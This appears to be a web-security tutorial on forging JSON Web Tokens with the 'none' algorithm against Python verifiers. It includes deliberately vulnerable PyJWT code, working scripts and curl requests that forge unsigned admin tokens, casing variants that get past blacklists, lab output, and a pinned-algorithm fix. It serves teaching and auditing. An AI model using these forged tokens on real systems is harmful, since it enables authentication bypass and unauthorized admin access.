PyFu

Forging JWTs with the none Algorithm

Python-based Web Application Attacks

The JWT specification includes an algorithm named none, an “unsecured” JWS that carries no signature at all. It exists for cases where integrity is guaranteed by some other layer, but in an authentication token it is catastrophic: if a server will accept a token whose header says "alg": "none", an attacker can rewrite the payload to anything they like, drop the signature entirely, and the server treats the forged token as valid. This is the simplest JWT forgery there is, and it still appears in the wild whenever a verifier trusts the algorithm named inside the token instead of pinning its own.

The mechanics follow directly from how JWTs are validated. A normal token is base64url(header).base64url(payload).base64url(signature). With alg: none, the signature segment is simply empty, the token ends in a trailing dot and nothing after it. A correct verifier must reject none outright for authentication; a vulnerable one reads alg from the attacker-supplied header and, finding none, skips signature verification because there is nothing to verify.

See Introduction to JSON Web Tokens in Python for the token structure this attack manipulates.

The vulnerable pattern

The flaw is letting the token choose the algorithm. With PyJWT this happens when none is included in the accepted algorithms list (or when a hand-rolled verifier dispatches on the header’s alg):

import jwt

def decode_token(token: str):
    # Vulnerable: "none" is an accepted algorithm, so an unsigned token passes.
    return jwt.decode(token, SECRET, algorithms=["HS256", "none"])

Any token presented with alg: none now bypasses the signature check. The same bug appears in custom verifiers that read header["alg"] and branch, and in older libraries that defaulted to honoring none.

Forging the token

You do not need the secret, because there is no signature to produce. Build a header with alg: none, set whatever claims you want, and leave the signature empty:

import base64, json

def b64(d): return base64.urlsafe_b64encode(d).rstrip(b"=").decode()

header  = b64(json.dumps({"alg": "none", "typ": "JWT"}).encode())
payload = b64(json.dumps({"sub": "attacker", "role": "admin"}).encode())

forged = f"{header}.{payload}."   # note the trailing dot, empty signature
print(forged)

PyJWT will produce the same thing for you, since signing with none requires no key:

import jwt
forged = jwt.encode({"sub": "attacker", "role": "admin"}, key=None, algorithm="none")

Send it as Authorization: Bearer <forged> and, against the vulnerable verifier above, you are authenticated as attacker with role: admin. Attackers also try case and spacing variants (None, NONE, nOnE) to slip past naive string blacklists that only check for lowercase none.

curl -H "Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAiYXR0YWNrZXIiLCAicm9sZSI6ICJhZG1pbiJ9." \
  http://target/api/admin

Why the none algorithm matters from an offensive security perspective

This is the purest JWT forgery I can run, and I value it because it asks for nothing. No secret, no key, no cracking, no public key to fetch. I set alg: none, write whatever claims I want, drop the signature, and a vulnerable verifier reads my header, decides there is nothing to check, and authenticates me. One forged token yields arbitrary sub and role: admin against any endpoint that trusts the payload. It is a five-second full authentication bypass with a single trailing dot.

What makes it persist is that it descends directly from the same defect behind JWT Algorithm Confusion (RS256 to HS256): the verifier trusting the algorithm named inside the token. If the accepted-algorithms list can ever resolve to none, the signature model is off by design, and a naive blacklist of the lowercase string is not a fix because casing variants slip past it. The strongest secret in the world is irrelevant the moment the token gets to declare that no signature is required.

These are the tells I look for in PyJWT and python-jose code:

  • none in the accepted-algorithms list. jwt.decode(..., algorithms=["HS256","none"]) accepts an unsigned token outright.
  • A verifier that reads header["alg"] and branches. Any custom dispatch on the token’s own algorithm field can be steered to a no-verify path.
  • String-blacklisting none instead of allowlisting one algorithm. A check for lowercase none is defeated by None, NONE, nOnE.
  • An empty signature segment treated as anything but a hard failure. A token ending in a trailing dot with no third part should be rejected before a claim is read.

The defender takeaway: the first thing I check in any JWT verifier is whether the accepted-algorithms list is a fixed server constant, because anything that can resolve to none is an instant authentication bypass.

Proof of exploitation

Run the lab app (PyFuLabs/fastapi-fu/fastapi-jwt-alg-none). The verifier reads the token’s own alg header and, when it is none, decodes without checking any signature, so an unsigned admin token is accepted:

# forge an unsigned token (alg=none, empty signature)
python3 -c 'import jwt;print(jwt.encode({"sub":"attacker","role":"admin"},"",algorithm="none"))'
# -> eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhdHRhY2tlciIsInJvbGUiOiJhZG1pbiJ9.

curl -s http://pyfu.local/fastapi-fu/fastapi-jwt-alg-none/api/admin \
  -H "Authorization: Bearer <forged-token>"
{"message":"welcome admin","claims":{"sub":"attacker","role":"admin"}}

No key was needed because the token told the server not to verify a signature.

Mitigation

Never let the token dictate the algorithm. Pin the exact algorithm the server uses and never include none:

# Secure: only HS256 is accepted; a "none" token is rejected before any claim is read.
jwt.decode(token, SECRET, algorithms=["HS256"])

If you write or review a custom verifier, ensure it ignores the header’s alg entirely and uses a server-side constant, and that it treats an empty signature as a hard failure. Blacklisting the literal string none is not a fix, the casing variants and the underlying “trust the header” design defeat it; allowlisting the one real algorithm is.

Tested on CPython 3.12.3 with PyJWT 2.x. The takeaway: alg: none turns a signed token into a plaintext one the attacker fully controls, and the root cause is always the verifier trusting attacker-supplied algorithm metadata. When auditing JWT code, the first thing to check is whether the accepted-algorithms list is a fixed server constant, anything that can resolve to none is an instant authentication bypass. The runnable lab is fastapi-fu/fastapi-jwt-alg-none.